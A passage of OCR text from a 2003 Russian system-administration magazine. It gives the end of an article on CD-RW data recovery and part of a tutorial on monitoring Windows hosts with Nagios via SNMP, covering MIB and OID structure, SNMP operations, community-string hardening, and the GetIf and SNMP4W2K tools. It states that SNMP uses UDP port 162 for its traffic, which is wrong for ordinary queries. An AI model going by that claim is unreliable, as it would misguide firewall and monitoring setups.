труднее. Но, чтобы это сделать, мы должны предваритель-
но познакомиться с остальными полями TOC. А это уже
тема следующей статьи!
Постойте, а если после очистки диска на него что-
то писалось – возможно ли тогда его восстановление
или нет? Разумеется, непосредственно затертые мес-
та утеряны безвозвратно, но остальную часть инфор-
мации по-прежнему можно спасти. Если диск до очист-
ки был многосессионным, то нам даже не придется кор-
петь над восстановлением файловой системы, т.к. фай-
ловая система каждой последующей сессии обычно
дублирует предыдущую («обычно» это в смысле «за
исключением удаленных файлов») и последняя сессия
диска оказывается достаточно далеко от его начала, а
10
потому и риск ее затирания минимален (если, конечно,
схватиться вовремя, а не тогда, когда весь диск пере-
записан до отказа). Восстановление одно-сессионных
дисков с затертой файловой системой – намного бо-
лее трудная, но все-таки разрешимая задача. Во-пер-
вых, этих файловых систем на типовом диске целых две:
ISO-9660 и Joliet, правда, в силу их близкого географи-
ческого положения при затирании диска они обычно гиб-
нут обе. Во-вторых, указанные файловые системы не
поддерживают фрагментации и всякий файл, записан-
ный на лазерный диск, представляет собой единый ин-
формационный блок. Все что нужно для его восстанов-
ления – определить точку входа и длину. Точка входа в
файл всегда совпадает с началом сектора, а подавляю-
щее большинство типов файлов позволяют однозначно
идентифицировать свой заголовок по уникальной сиг-
натуре (в частности, для zip-файлов характерна следу-
ющая последовательность: 50 4B 03 04). Конец файла,
правда, определяется уже не так однозначно и един-
ственная зацепка – структура самого восстанавливае-
мого файла. Впрочем, большинство приложений доволь-
но лояльно относится к «мусору» в хвосте файла и пото-
му точностью определения его длины с погрешностью в
один сектор на практике оказывается вполне достаточ-
ной. Поскольку файлы располагаются на диске вплот-
ную, без «зазоров», конечный сектор всякого файла на-
дежно вычисляется путем вычитания единицы из стар-
тового сектора следующего за ним файла.
Вообще же говоря, техника восстановления лазерных
дисков намного проще и незатейливее искусства враче-
вания их прямых коллег – дискет и жестких дисков. Прав-
да, поговорку «семь раз отмерь – один раз отрежь» еще
никто не отменял, и одна из пренеприятнейших особен-
ностей работы с CD-RW как раз и состоит в том, что вы
не можете гарантированно управлять процессом проис-
ходящей записи. Дискеты и жесткие диски в этом смыс-
ле полностью прозрачны: что вы пишите, то вы и полу-
чаете. Перезаписываемые же носители, напротив, пред-
ставляют собой «черный ящик», и вы никогда не можете
быть уверенными в том, что данный конкретный привод
будет правильно интерпретировать отдаваемые ему ко-
манды (увы, восстановление CD-RW дисков никак не впи-
сывается в рамки стандарта, а все нестандартные махи-
нации могут интерпретироваться приводом неоднознач-
но). Единственное, что остается посоветовать – не пус-
кайте все на самотек, а бесконечно экспериментируйте,
экспериментируйте и еще раз экспериментируйте, на-
капливая бесценный опыт, который вам когда-то очень
пригодится.
1
Правда, это умение даровано не всем программам,
вот Roxio Easy CD Creator оно даровано, а, например,
Stomp Record Now! – нет.
2
Уменьшение свободного пространства объясняется
тем, что каждая открываемая сессия требует для своего
размещения определенного места, однако если удалению
одних файлов сопутствует запись других, то открывать
новую сессию все равно приходится и в этом случае, на-
кладные расходы на удаление отсутствуют.
администрирование

АНДРЕЙ БЕШКОВ

12

Первая часть этой статьи (см. июльский номер журнала)
рассказывала об одной из нескольких методик настройки
Nagios для слежения за серверами под управлением семей-
ства операционных систем Windows. Для достижения наших
целей на контролируемую машину устанавливалась про-
грамма NSClient, а данные собирались с помощью модуля
check_nt. Сегодня мы изучим второй способ мониторинга.
Для получения необходимых данных мы будем использовать
SNMP (Simple Network Management Protocol). Большинство
знаний, приобретенных после прочтения этой статьи, мож-
но будет применить для настройки не только систем мони-
торинга на основе Nagios. Понимание принципов работы
SNMP и практические навыки обращения с Windows в этом
аспекте позволят передать нужные нам данные другим сис-
темам мониторинга, работающим с SNMP. Например, это
могут быть mrtg, OpenNMS, Dec PolyCenter Network Manager,
HP Open View, IBM AIX NetView/600 и любые другие програм-
мы, обладающие подобной функциональностью.
На данный момент SNMP является самым популярным
протоколом управления и мониторинга сетей. Первона-
чально он разрабатывался для работы с маршрутизато-
рами, но постепенно стал использоваться и во многих
других устройствах. Сейчас его реализации можно встре-
тить в сетевых коммутаторах, серверах печати, межсете-
вых экранах и прочих видах сетевого оборудования.
Давайте разберемся с принципами работы этого про-
токола. Внутри каждого из устройств, которыми можно
управлять, находится программное обеспечение для ра-
боты с SNMP, называемое агентом. В свою очередь, про-
грамма, работающая на станции управления сетью, на-
зывается менеджером. Агент выступает посредником
между внутренними структурами управляемого объекта
и менеджером. Обычно взаимодействие происходит по
инициативе менеджера и выглядит следующим образом.
Менеджер отправляет запрос агенту. Тот его обрабаты-
вает, собирает данные и отправляет их назад. В некото-
рых случаях агент может самостоятельно инициировать
обмен данными. Обычно у агента должен быть список
важных событий, о наступлении которых он обязан опо-
вестить менеджера. Затем менеджер по своему усмотре-
нию выполняет какие-либо действия в ответ на оповеще-
ние. Например, такими событиями могут быть выход из
строя какого-либо компонента внутри наблюдаемого
объекта, аварийная перезагрузка, вызванная потерей
питания или любая другая критическая ситуация. Проце-
дура оповещения в терминах протокола SNMP называет-
ся отправкой ловушки (SNMP Trap).
Для того чтобы менеджер мог управлять самыми раз-
ными видами оборудования, фирмы-производители со-
здали стандартную абстрактную модель, позволяющую
получить доступ к внутренним данным оборудования. В
модель включается минимум данных, необходимых для
управления и контроля. Например, модель сетевого сер-
вера печати может содержать в себе следующие данные:

время работы с момента последней перезагрузки

загрузка процессора

количество портов принтера

статус каждого порта

количество подключенных принтеров
№8(9), август 2003
администрирование

статус каждого принтера

общее количество заданий в очереди

количество заданий в очереди каждого принтера

общее количество выполненных заданий

количество заданий, выполненных каждым принтером

список IP-адресов или пользователей, создававших за-
дания

количество и размер заданий, отправленных каждым
пользователем

таблица интерфейсов подключения к локальной сети

статус каждого из этих интерфейсов

количество, размер, вид пакетов, прошедших через
каждый интерфейс

общий размер оперативной памяти

размер свободной оперативной памяти
Количество доступной информации впечатляет. Самой
приятной изюминкой в реализации SNMP является тот
факт, что все сложности по взаимодействию с реальным
оборудованием ложатся на плечи агента, который, в свою
очередь, предоставляет стандартный интерфейс доступа
к данным оборудования. Таким образом, менеджер мо-
жет легко общаться с агентами, созданными разными про-
изводителями оборудования. Для того чтобы агент мог
правильно описать оборудование, в которое он встроен,
а менеджер – понять, о чем идет речь, они должны оба
опираться на одну и ту же модель подконтрольного ре-
сурса. Данные модели хранятся в базе данных управляю-
щей информации – MIB (Management Information Base),
которая полностью описывает список доступных харак-
теристик ресурса. Пользуясь ею, менеджер может узнать,
какие сведения агент способен предоставить, что они
означают и какими свойствами аппаратуры можно управ-
лять. Повсеместно MIB принято представлять в виде дре-
вовидной структуры. Определенные части этого дерева
являются обязательными для всех реализаций SNMP.

System – обобщенные данные о системе (имя, время
работы с момента последней перезагрузки).

Interfaces – данные о сетевых интерфейсах (статус, ко-
личество, типы, размер пакетов).

At (Address translation table) – таблица трансляции ад-
ресов. Уже не используется. Поддерживается только
ради совместимости со старыми версиями.

TCP – данные протокола TCP (количество соединений,
получено и отправлено пакетов, количество ошибок).

ICMP – данные протокола обмена управляющими со-
общениями ICMP (количество сообщений получено и
отправлено, количество ошибок и их виды).

EGP – протокол обмена информацией о состоянии мар-
шрутизации (получено и отправлено пакетов, количе-
ство ошибок).

UDP – данные протокола UDP (получено и отправлено
датаграмм, количество ошибок).

SNMP – статистика работы одноименного протокола
(количество входящих и исходящих пакетов, обрабо-
тано запросов, ошибки).

IP – данные о функционировании этого протокола (ко-
личество пакетов получено и отправлено, количество
ошибок и их разновидности).
13
 администрирование
В то же время производитель оборудования может
встраивать внутрь этого дерева свои собственные под-
деревья. Чаще всего они называются private. С помощью
такого встраивания реализуется возможность получить
доступ к функциям и данным, характерным только для
этого оборудования. Для примера посмотрим на стандар-
тный образец данных, используемых агентом SNMP, ра-
ботающим на машине win2000rus.
Например, для того чтобы узнать время работы системы с
момента последней перезагрузки, нужно пройти через ветку:
.iso.org.dod.internet.mgmt.mib2.system.sysUpTime
Буквенная запись используется для удобства восприя-
тия информации человеком, менеджеры и агенты опериру-
ют числами. Соответственно, каждая часть пути имеет свой
числовой идентификатор.

iso – 1
mgmt – 2

org – 3
mib2 – 1

dod – 6
system – 1

internet – 1
sysUpTime – 3
Это значит, что тот же самый путь выражается как
.1.3.6.1.2.1.1.3. Если у вас сегодня плохое настроение, то
можно использовать подобное смешанное написание:
14
.iso.3.dod.1.mgmt.1.1.sysUpTime
Выглядит странно, но от этого значение строки не меня-
ется. В любом случае агент конвертирует его в числовое
представление. Таким образом, мы получаем уникальную
комбинацию чисел, однозначно идентифицирующую объект,
находящийся в любой ветви дерева. В дальнейшем такую
комбинацию мы будем называть OID (Object identifier) или,
говоря русским языком, «Идентификатор объекта».
В связи с тем, что префикс iso.org.dod.internet.mgmt.mib2
встречается почти в каждом OID, большинство людей во-
обще перестало его писать. Подразумевается наличие это-
го префикса, поэтому очень часто можно встретить такой
вид записи:
system.sysUpTime
Несмотря на то что в каждой ветви дерева может на-
ходиться несколько экземпляров объектов, в некоторых
находится только один. В этом случае все зависит от це-
лесообразности. Например, нет смысла держать внутри
ветви system.sysUpTime два экземпляра объекта, пото-
му что время работы системы может быть только одно.
В случае если экземпляр объекта один, ему присваива-
ется номер «0». Доступ к его данным можно получить,
обратившись к нему либо как system.sysUpTime, либо
system.sysUpTime.0.
Примером хранения нескольких экземпляров объекта
являются ветви:

interfaces.ifTable.ifEntry.ifType – тип сетевой карты;

interfaces.ifTable.ifEntry.ifIndex – уникальный ключ;

interfaces.ifTable.ifEntry.ifMtu – максимальный размер
пакета данных.
Внутри этих ветвей хранятся данные о сетевых картах,
установленных на нашей машине. Подветвь interfaces обла-
дает очень интересной конструкцией. Объект .inter-
faces.ifNumber содержит в себе цифру «2», это говорит нам,
что в системе установлены две сетевые карты. Внутри вет-
ви interfaces.ifTable.ifEntry находится массив данных сетевых
интерфейсов. По сути дела это хэш-массив. В некоторых
книгах он еще называется ассоциативным массивом. Ветвь
interfaces.ifTable.ifEntry.ifIndex объявляет два ключа с уникаль-

ными цифровыми идентификаторами. В дальнейшем эти
ключи используются для того, чтобы не путать между собой
экземпляры объектов внутри каждой нижележащей ветви.
Таким образом, получается, что ко второй сетевой карте
относятся следующие экземпляры объектов:
interfaces.ifTable.ifEntry.ifType.16777219
interfaces.ifTable.ifEntry.ifIndex.16777219
interfaces.ifTable.ifEntry.ifMtu.16777219
Ну а к первой сетевой карте относятся соответственно:
interfaces.ifTable.ifEntry.ifType.1
interfaces.ifTable.ifEntry.ifIndex.1
interfaces.ifTable.ifEntry.ifMtu.1
Разобравшись с форматом дерева, перейдем к опе-
рациям, которые можно выполнять с помощью SNMP.

GetRequest – самая распространенная операция. По-
зволяет получить содержимое объекта из MIB. Обыч-
но в разных статьях сокращается до Get.

GetNextRequest – операция получения следующего эк-
земпляра из таблицы. Представим себе такую ситуа-
цию. В нашем маршрутизаторе есть некоторое количе-
ство портов. Мы хотим узнать, какие из них активны в
данный момент. С помощью GetRequest читаем данные
первого экземпляра внутри ветви. Но вся проблема в
том, что мы не знаем, сколько еще экземпляров оста-
лось внутри. Вот тут-то нам пригодится GetNextRequest.
С помощью этой операции мы проходим по всему спис-
ку объектов. Как только нам встречается первый объект
из другой ветки, операция прекращается. Сокращен-
ное название звучит как GetNext.

SetRequest – судя по названию, каждый может догадать-
ся, что эта команда служит для внесения данных в MIB.
Часто о ней говорят просто как о команде Set.

GetResponse – выполняется агентом в ответ на коман-
ды GetRequest, GetNextRequest, SetRequest. Если это
ответ на первые две, то внутрь будут вложены запро-
шенные данные; ну а если на третью, то внутри будет
подтверждение об успешном выполнении. Самые рас-
пространенные устные названия для этой команды –
Reply или Response.

Trap – содержит внутри себя специальный OID, пока-
зывающий, что это ловушка, а также информацию о
том, какой MIB-объект установил ловушку и данные
этого объекта. Тут и сокращать-то нечего, поэтому на-
звание никогда не искажается.
Следующее интересное для нас понятие – «Имена Со-
обществ» (Community Names). Они являются своеобразным
эквивалентом паролей и используются для того, чтобы раз-
граничить, какие приказы агенту может отдавать тот или
иной менеджер. Каждая из пяти перечисленных ранее опе-
раций должна содержать в себе правильное имя сообще-
ства, иначе она не будет выполнена. Если агент настроен
соответствующим образом, то в результате запроса с оши-
бочной строкой сообщества менеджеру будет отправлена
ловушка с жалобой на попытку ошибочной аутентификации.
Строки сообществ бывают трех видов Read-Only, Read-Write
и Trap. Если менеджер передает агенту команды GetRequest,
№8(9), август 2003
администрирование
GetNextRequest, то внутри должна быть та строка сообще-
ства Read-Only, которая запрограммирована в агенте.
Если же происходит попытка передать агенту на выпол-
нение команду SetRequest, то для начала проверяется тип
изменяемого объекта MIB. Тип должен быть read-write. И
только затем происходит проверка переданной менедже-
ром строки сообщества на совпадение со строкой Read-
Write. Внесение изменений происходит, только если обе
проверки завершились с положительным результатом.
В большинстве реализаций строка сообщества Trap
применения не нашла. Первоначально она задумывалась
как вспомогательное средство для облегчения процеду-
ры сортировки внутри менеджера ловушек от разных ви-
дов агентов. Но, как показал опыт реальной эксплуата-
ции протокола, необходимость в таких ухищрениях воз-
никает очень редко.
SNMP работает на основе протокола UDP и для обще-
ния с сетью использует порт номер 162. Использование
UDP в качестве основы означает, что данные передаются
без установления соединения. Это дает возможность су-
щественно уменьшить требования к сетевой инфраструк-
туре и накладные расходы на передачу данных. Пакеты
SNMP могут передаваться не только с помощью UDP, но
и поверх ATM, Ethernet, IPX.
Одной из основных проблем с безопасностью протокола
SNMP являются имена сообществ, установленные изгото-
вителем оборудования по умолчанию. Многие производи-
тели используют в качестве имен всех перечисленных сооб-
ществ слово «public». Многие администраторы после уста-
новки оборудования напрочь забывают о необходимости
сменить имена сообществ. В таком случае любой более или
менее осведомленный о протоколе SNMP злоумышленник
может получить доступ к важным функциям оборудования.
Вторая большая проблема состоит в том, что пакеты прото-
кола SNMP передаются через сеть открытым текстом. По-
лучается, что узнать нужные строки сообществ не так уж и
сложно. Подобное плачевное состояние с безопасностью
протокола породило довольно забавную шутку. По мнению
сетевых острословов, SNMP расшифровывается как «Se-
curity Not My Problem». Положение существенно улучшилось
с введением второй версии протокола SNMP. Для противо-
действия злоумышленникам используются Symmetric Privacy
Protocol (SPP), призванный защитить от прослушивания, и
авторизация на основе Digest Authentication Protocol (DAP).
Ну а до тех пор пока SNMP v.2 не стал повсеместным стан-
дартом, мы будем защищаться тем, что постараемся везде,
где только возможно, перестать использовать команду
SetRequest. Нам для проведения мониторинга совершенно
нет необходимости ее применять. Таким образом, никто не
сможет внести изменения в данные, находящиеся внутри
оборудования. Еще одним способом борьбы со злоумыш-
ленниками должно стать запрещение пропускать пакеты
протокола SNMP из Интернета во внутреннюю сеть. Также
необходимо жестко ограничить круг IP-адресов менеджеров,
которым позволено обращаться к агентам, находящимся
внутри нашего оборудования. Если после прочтения этого
краткого курса вам все еще непонятны какие-либо момен-
ты теории работы SNMP, значит стоит почитать список час-
то задаваемых вопросов. Сделать это можно, передав лю-
15
 администрирование
бой поисковой машине запрос snmp faq. В случае если та-
кой помощи окажется недостаточно, стоит обратиться к до-
кументации, описывающей протокол. Лучшим источником
таких сведений являются RFC 1156, 1213, 1157, 1146, 2571,
2574. Покончив с кратким обзором основ SNMP, перейдем
к практическому применению полученных знаний.
Для того чтобы на машине win2000rus заработала
служба SNMP, нужно установить добавочные системные
компоненты. Давайте пройдемся по цепочке меню Пуск →
Настройка → Панель управления. Дважды кликнем пик-
тограмму «Установка и удаление программ». В открыв-
шемся окне жмем кнопку «Добавление и удаление ком-
понентов Windows».
Ставим галочку напротив «Средства управления и
наблюдения».
Нажимаем кнопку «Состав» и обязательно убеждаем-
ся, что «Протокол SNMP» тоже помечен галочкой.
16
После нажатия кнопок «ОК» и «Далее» наблюдаем за
процедурой инсталляции. По завершению оной посмот-
рим список служб, работающих на этой машине. «Служ-
ба SNMP» должна быть запущена. Исходя из того факта,
что эта машина никогда не будет выступать в роли ме-
неджера, и соответственно, ловушки ей слать никто не
будет, сначала останавливаем, а затем и вовсе отключа-
ем сервис «Служба ловушек SNMP».
Затем начинаем редактировать свойства службы
SNMP. Сообщество Read-Only из public переименовыва-
ем в «QWEmn90», а сообщество Read-Write, скажем, в
«Zxasd098».
Заменив значения по умолчанию такими сложными для
запоминания и случайного угадывания именами, мы по-
вышаем безопасность использования SNMP. Честно гово-
ря, сообщество Read-Write надежнее всего вообще отклю-
чить удалением соответствующего имени из списка. В спи-
сок узлов, от которых можно принимать пакеты SNMP, до-
бавляем адрес нашего сервера Nagios и самой Windows-
машины, тем самым выполняя еще один реверанс в сторо-
ну безопасности. Помня, что жизнь под Windows – это цепь
постоянных перезагрузок, перезапускаем службу SNMP,
для того чтобы изменения в настройках вступили в силу.
Закончив с предварительным конфигурированием, по-
беспокоимся о своем удобстве. Установим на Windows-
машину браузер SNMP. Интерфейс командной строки –
это хорошо, но все же графическими средствами бродить
по веткам SNMP гораздо приятнее.
Для использования под Windows можно взять стандар-
тного агента MS SMS Netmon на сайте производителя:

http://www.microsoft.com/smsmgmt/. Я буду использовать
утилиту по имени GetIf версии 2.2, полученную тут: http://
www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/getif-2.2.zip.
Она умеет делать много полезных вещей, но самое глав-
ное – отлично работает с SNMP. У всех желающих есть воз-
можность там же взять более современную версию 2.3. Хотя
лично мне она не очень нравится из-за изменений в интер-
фейсе. В процессе инсталляции жмем несколько раз кноп-
ку «Next». Не прошло и минуты, как мы стали счастливыми
обладателями SNMP-браузера. Для Unix-систем взять бра-
узер можно здесь: http://snmpbrowser.sourceforge.net/.
В дальнейшем все инструкции приводятся для работы
с GetIf. Впрочем, остальные версии браузеров SNMP дол-
жны быть очень похожи в обращении. Запустим браузер
первый раз и начнем заполнение полей, необходимых для
выполнения SNMP-команд. В поле «Host Name» пишем ад-
рес либо имя нашей Windows-машины. Затем в поля «Read
commuinty» и «Write community» вносим «QWEmn90» и
«Zxasd098». Нажимаем кнопку «Start». Если все пустые
строки заполнились данными, а не надписями «error» или
«none», и получилось что-то подобное рисунку, значит
SNMP работает исправно.
Теперь обратимся к вкладке MBrowser, ради возмож-
ностей которой все это, собственно, и затевалось. Для
того чтобы получить данные, хранящиеся в какой-либо
подветви, нужно дважды кликнуть на корневом элементе
«iso». Возьмем, к примеру, OID:
.iso.org.dod.internet.mgmt.mib-2.system.sysContact
содержащий описание системы. Пройдя через всю иерар-
хию к нужной точке внутри дерева, нажимаем кнопку «Walk».
№8(9), август 2003
администрирование
На экране должно отобразиться что-то подобное сним-
ку, приведенному на следующей странице. Давайте раз-
беремся, что мы видим. Самое верхнее поле содержит
символьную нотацию OID, чуть ниже располагается циф-
ровая форма записи того же самого. Еще ниже находит-
ся дерево MIB. Справа от дерева – 4 информационных
поля, описывающих выбранный объект. Среди них – тип
объекта (Type); доступ, разрешаемый к объекту (Access);
список значений, которые может принимать объект
(Enums). Например, для OID, описывающего состояние
сетевых интерфейсов:
.iso.org.dod.internet.mgmt.mib-2 ↵
.IfTable.IfTable.IfEntry.IfOperStatus
доступны значения «up», «down», «testing». Затем идет
статус объекта (Status) – является ли объект обязатель-
ным или нет. Еще ниже находится область, в которой вы-
водится подробное разъяснение значения данных выбран-
ного объекта. Хочу заметить, что, по моему мнению, это
одна из самых полезных возможностей, предоставляемых
браузером. Даже в символьной записи не всегда понят-
но, данные о какой функциональности устройства предо-
ставляет та или иная ветвь дерева. Опускаясь еще не-
много вниз, видим окно, в котором отображаются резуль-
таты запросов, выполненных по нажатию клавиши «Walk».
Это и есть содержимое объектов, находящихся в выбран-
ной подветви. Ниже всех находится группа полей ввода,
обеспечивающая возможность изменения данных, нахо-
дящихся внутри выбранного объекта. Впрочем, есть воз-
можность редактировать и любой другой объект, к кото-
рому есть доступ Read-Write. Для этого нужно изменить
OID, установленный по умолчанию в строке редактиро-
17
 администрирование
вания. После того как все необходимые данные введены
в поле редактирования, жмем кнопку «Set» и смотрим на
результат. Отсюда следует вывод, что мы можем не толь-
ко просматривать данные, но и довольно легко редакти-
ровать их. Спору нет, все возможности, предоставленные
нам программой GetIf, очень даже полезны, но кое-что все
же нужно улучшить. Например, расширить базу MIB, ко-
торую она использует, потому что в комплекте MIB, по-
ставляемом по умолчанию, не хватает многих жизненно
важных OID. Берем архив необходимых нам MIB здесь:
http://www.wtcs.org/snmp4tpc/FILES/Tools/SNMP/getif/
GETIF-MIBS.ZIP. Распаковываем его во временную дирек-
торию, затем все файлы с расширением .mib копируем в
папку, где у нас установлена программа GetIf. Обычно это
C:/Program Files/GetIf 2.2/Mibs/. После копирования уда-
ляем файл .index, содержащий внутри себя список фай-
лов, в которых находятся MIB. Запускаем Getif, файл .index
будет создан заново и заполнен новым списком MIB-фай-
лов автоматически. Посмотрев на вкладку MBrowser, осоз-
наем, сколько полезного добавилось в нашу базу. Если
же такое обилие вас пугает, то можно ограничиться копи-
рованием только следующих:
Mib_ii
MIB_II_TRANSMISSION
RFC_BASE_MINIMUM
PRIVATE_ENTERPRISES/Microsoft_win2k
PRIVATE_ENTERPRISES/Microsoft_Apps
Порыскав несколько минут по дереву, находим OID,
содержащий данные о загрузке процессора.
.iso.org.dod.internet.mgmt.mib-2 ↵
.host.hrDevice.hrProcessorTable.hrProcessorEntry ↵
.hrProcessorLoad
К сожалению, данные, предоставляемые Windows для
доступа через SNMP, все еще слишком скудны. Хотелось
бы иметь более информативную картину процессов, про-
исходящих внутри подопытной машины. Очень хочется,
18
чтобы данные счетчиков производительности (performance
counters), о которых шла речь в первой части этой статьи,
были доступны нам через SNMP. Добиться подобного
приятного эффекта можно с помощью программы, назы-
ваемой SNMP4W2K. Для Windows NT, соответственно, она
будет называться SNMP4NT. Все семейство вышеописан-
ных программ распространяется в двух вариантах. Бес-
платная стандартная версия называется SNMP4W2K-STD
и SNMP4NT-STD. Соответственно, платная версия зовет-
ся SNMP4W2K-PLUS и SNMP4NT-PLUS. В связи с паде-
нием спроса на саму Windows NT, а затем и на платную
версию SNMP4NT-PLUS, автор недавно выложил ее в сво-
бодный доступ. Нынче вне зависимости от толщины ко-
шелька ее могут скачать все желающие. Разница между
версиями состоит в размерах базы MIB и стоимости 50$
за одну лицензию. Бесплатная версия, кроме большого
количества стандартных счетчиков, содержит еще и счет-
чики следующих сервисов Windows:

Print Services

SMTP Services

NNTP Services
Платная версия добавляет возможность работать со
счетчиками, в которых содержатся данные следующих
служб:

SQL Server 2000

Exchange Server 2000

ISA Server

Media Services

Active Directory

IIS Global Services
Лично мне хватает данных, предоставляемых стан-
дартной версией, поэтому я буду использовать именно
ее. Скачиваем отсюда: http://www.wtcs.org/snmp4tpc/
FILES/SNMP4W2K/STD/SNMP4W2K-STD.zip дистрибутив
SNMP4W2K. Подробнее ознакомиться с теорией функ-

ционирования пакета, почитать список часто задавае-
мых вопросов и взять версию для Window NT можно на
сайте автора: http://www.wtcs.org/snmp4tpc/. Ну а сейчас
давайте кратко разберемся с вопросами «почему» и «как
это работает».
Используя интерфейс расширения агентов SNMP, мы
внедряем в Windows свой нестандартный обработчик
SNMP perfmib.dll, который, опираясь на базу mib.bin и кон-
фигурацию, сохраненную в файле perfmib.ini, позволяет
нам получить доступ к объектам производительности.
Соответствие между объектами производительности и
OID хранится в базе mib.bin. Распаковав дистрибутив,
приступим с нетерпением к инсталляции программы
SNMP4W2K-STD. Запускаем файл SNMP4W2K-STD.exe.
Согласившись с условиями лицензии, выбираем дирек-
торию для инсталляции C:\Program Files\SNMP4W2K-STD\.
Как только полоса копирования файлов перестанет мель-
кать, нам будет предложено две опции «View Readme
File» и «Run Installed Application». Недрогнувшей рукой
отключаем первую опцию и нажимаем «ОК». После это-
го появится окно командного интерпретатора с несколь-
кими вопросами, которые нужно уточнить. Соглашаясь
с выбором, предлагаемым по умолчанию, нужно будет
нажать несколько раз клавишу «Y». Программа инстал-
ляции самостоятельно внесет изменения в реестр и пе-
резапустит службу SNMP. Если браузер SNMP работа-
ет, закрываем его. Для того чтобы новые ветви, добав-
ленные SNMP4W2K, появились в GetIf, нужно скопиро-
вать MIB-файлы программы SNMP4W2K, находящиеся
в директории C:\Program Files\SNMP4W2K-STD\Mibs\ в
директорию, где лежат базы MIB нашего браузера
C:\Program Files\Getif 2.2\Mibs\. Снова удаляем файл
.index и, запустив GetIf, идем любоваться веткой:
.iso.org.dod.internet.private.enterprises
Все подветви, находящиеся внутри нее, появились
благодаря SNMP4W2K. Стоит обратить внимание на
один побочный эффект SNMP4W2K. Например, если вы
№8(9), август 2003
администрирование
хотите работать с данными сервиса или программы, до-
ступными только через SNMP4W2K, то вам нужно сна-
чала установить саму программу и только затем ста-
вить SNMP4W2K. Яркий пример такого подхода – служ-
ба IIS. Если она установлена после SNMP4W2K, то со-
вокупность OID, дающих доступ к ее внутренним дан-
ным, работать не будет, потому что SNMP4W2K в мо-
мент инсталляции не нашел на машине службу IIS, а
значит решил, что захламлять машину лишними MIB не
стоит. Если же поступить наоборот – сначала устано-
вить IIS, а затем SNMP4W2K, то все будет работать как
положено. За решением этой проблемы можно увлека-
тельно потерять не один час рабочего времени. Вот
такой вот образец чрезмерной самостоятельности про-
граммы SNMP4W2K.
Так как на моей машине нет сервисов вроде WINS,
SMTP, DNS, то большинство полезной для наблюдения
информации находится в объектах ветви:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance
Давайте определимся, какие OID мы будем исполь-
зовать для сбора необходимых нам данных. К приме-
ру, загрузку процессора можно узнать с помощью та-
кого OID:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.cpuprocessorTable.cpuprocessorEntry ↵
.cpuPercentProcessorTime
К сожалению, процесс использования SNMP не так уж
и прост. Для того чтобы увидеть количество занятой вир-
туальной памяти, нам придется провести некоторые рас-
четы. Берем содержимое OID:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.memmory.memmoryCommitLimit
соответствующее системному счетчику «\Память\Предел
выделенной виртуальной памяти», делим его на 100 и
получаем величину, показывающую, сколько байт при-
нимается за 1% памяти. В моем случае получилась ве-
личина 3 184 967 байт. Отсюда следует вывод, что на
моей машине 1% – это почти 3 мегабайта памяти. По-
лучаем данные о количестве израсходованной памяти:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.memmory.memmoryCommittedBytes
соответствующие счетчику «\Память\Байт выделенной
виртуальной памяти». В моей системе это 53 776 337 байт.
Делим полученную величину на размер одного процента,
равного 3 184 967 байт, и получаем 16.88%. Значит, сво-
бодной памяти еще достаточно. Именно такую методику
расчетов мы будем использовать при настройке порогов
критического состояния 90% – 286 647 030 байт и уровня
предупреждения 80% – 254 797 360 байт для сервиса, с
помощью которого Nagios будет следить за потреблени-
ем памяти.
19
 администрирование
Следующий ресурс, за которым нужно следить – сво-
бодное место на жестких дисках Windows-машины. К со-
жалению, мне так и не удалось заставить работать ветки:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.pdiskphysicalDiskTable
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.ldisklogicalDiskTable
отвечающие за физические устройства жестких дисков и
логические тома файловых систем. Но огорчаться по это-
му поводу не стоит. Вместо OID, созданных SNMP4W2K,
мы будем использовать стандартную ветвь:
.iso.org.dod.internet.mgmt.mib-2.host.hrStorage.hrStorageTable
Первым делом обращаемся к ветке:
.iso.org.dod.internet.mgmt.mib-2.host.hrStorage ↵
.hrStorageTable.hrStorageEntry.hrStorageDescr
чтобы узнать, какое из устройств нас интересует. Исполь-
зуя OID hrStorageDescr, читаем текстовое описание объек-
тов, содержащихся внутри массива, прикрепленного к
этой ветке.
Как мы видим, объект номер 1 – это дисковод гибких
дисков, а номера 2 и 3, соответственно, C:\ (жесткий диск)
и D:\ (CD-ROM). Также интересен номер 4, представляю-
щий объект, содержащий данные о количестве доступ-
ной виртуальной памяти. Идем по нашему массиву даль-
ше и обращаемся к OID hrStorageAllocationUnits, описы-
вающему размер в байтах одного блока памяти каждого
из вышеназванных устройств.
Как видим, размер блока для диска C:\ равен 2 048 бай-
там, а для виртуальной памяти соответствует 65 536 байт.
Теперь нужно узнать общий размер памяти каждого из
перечисленных устройств, используя OID hrStorageSize.
Стоит отметить, что размер считается в блоках, о ко-
торых мы говорили ранее. Значит, чтобы узнать размер
диска C:\ в байтах, умножаем hrStorageAllocationUnits.2 на
hrStorageSize.2 и в результате всех этих вычислений по-
лучаем цифру, примерно равную 2 гигабайтам. Таким же
20
способом вычисляем размер виртуальной памяти и полу-
чаем 318 439 424 байта. Теперь внимание, подходим к
самому главному. Данные о том, сколько памяти уже из-
расходовано, находятся внутри hrStorageUsed.
Так как использованное место измеряется опять же в
блоках, то переводить его в байты особого смысла нет.
Нужного эффекта можно добиться, контролируя процент
использования блоков.
Догадаться, как узнать, сколько блоков в 1%, неслож-
но. Я думаю, вы и сами легко сможете рассчитать для
диска C:\ порог в 80% и 90% заполнения. Для моей систе-
мы это соответственно 835 367 и 938 788 блоков. При до-
стижении этих значений Nagios должен будет отправлять
нам предупреждение.
Еще одним из параметров, за которыми стоит следить,
является процент использования файла подкачки. Для этого
нам нужно брать данные из объекта с таким именем:
.iso.org.dod.internet.private.enterprises.microsoft ↵
.software.systems.os.windowsNT.performance ↵
.pagefilepaging-FileTable ↵
.pagefilepaging-FileEntry.pagefilePercentUsage
Я думаю, выбранных нами объектов достаточно для
надежного мониторинга. По своему усмотрению вы мо-
жете добавить любые другие объекты к этому списку. У
вас, например, могут работать службы, которые на моей
тестовой машине отсутствуют. Благо, количество данных,
хранящихся в базе MIB, позволяет собирать очень под-
робную статистику.
Завершив работу с Windows, переходим к FreeBSD.
Для получения данных через SNMP Nagios использует
